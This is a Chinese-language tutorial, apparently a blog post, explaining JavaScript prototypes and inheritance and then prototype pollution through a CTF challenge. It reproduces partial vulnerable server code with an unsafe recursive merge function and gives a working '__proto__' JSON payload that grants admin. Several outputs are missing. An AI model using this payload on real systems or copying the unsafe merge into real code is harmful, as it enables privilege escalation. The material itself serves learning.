JS创建对象
- 普通创建
- 函数创建
- object创建
函数即对象
instanceof 是用来判断左侧对象是否是右侧构造函数的实例化对象
通俗的理解: 右侧是不是左侧的类,左侧是右侧的实例
这里来看下函数的instanceof是啥?
也就说吗persion是object实例出来的一个对象
prototype和proto用法
对象.proto=构造器(构造函数).prototype
prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法 一个对象(foo)的__proto__属性,指向这个对象所在的类(Foo)的prototype属性
不知道为啥最后这个是false?
这个特性常用来做为集成来使用,如下代码:
function father(){
this.lastname="ming";
this.firstname="gao";
}
function son(){
this.lastname="xing";
}
// 定义这个son就是这个father的儿子
son.prototype=new father()
var a = new son()
console.log(a.firstname,a.lastname)
输出结果:
整个过程在js引擎中可以理解为,输出a的firstname时候,首先查找son的定义,若是没有,则查找son.__proto__中的定义,也就是他继承的father里面的定义,若还是没有,则继续son.proto.__proto__中的定义。直到查找到为止或者直接到null为止
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链,每个构造函数(constructor)都有一个原型对象(prototype) 对象的__proto__属性,指向类的原型对象prototype JavaScript使用prototype链实现继承机制
原型链污染
先抛出一个问题:
foo.proto指向的是Foo类的prototype。那么,如果我们修改了foo.proto中的值,是不是就可以修改Foo类呢
做个测试:
通过修改a.__proto__的name值,改变了b的name值
a的父类是Object,其实通过a.__proto__修改的是Object的name值,再创建新的对象时候自然带上了这个name值
这就是最简单的原型污染测试,若是攻击者能够控制原型,则将影响这个类创建的所有对象
怎样进行污染
通过一道CTF题目来实战演练下,题目主要是通过构造输入,来把自己变成admin角色。其中服务端代码为:
try {
input = JSON.parse(post.input);
} catch (e) {
input = {};
}
delete input.isAdmin; // you can't do bad thing anyway
console.log(input);
console.log({}.__proto__);
const user = merge(
{
name: "default",
sex: "default"
},
input
);
if (user.isAdmin === true) {
res.write(sercet.flag);
delete {}.__proto__.isAdmin;
} else {
res.write(JSON.stringify(user));
}
} catch (e) {
console.error(e);
res.statusCode = 500;
res.write("500 error");
}
res.end();
});
}
}
})
.listen(port);
console.log("Listening on " + port);
function merge(dst, src) {
for (key in src) {
if (Array.isArray(dst[key]) && Array.isArray(src[key])) {
// concatenate arrays that are values of the same object key
object1[key] = dst[key].concat(src[key]);
} else if (typeof dst[key] === "object" && typeof src[key] === "object") {
// deep merge src into dst
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}
查找资料可知再有merge函数的时候,再加上json处理,就会形成类似于原型链的调用,这里做个测试:
提取merge函数核心功能:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
测试原型链:
这个明显没有污染到o3,我们加上json再看看
o3的b有了赋值,说明通过o2的__proto__污染了{}
那这个题目就可以使用:
input={"a": 1, "__proto__": {"isAdmin": true}}
通过: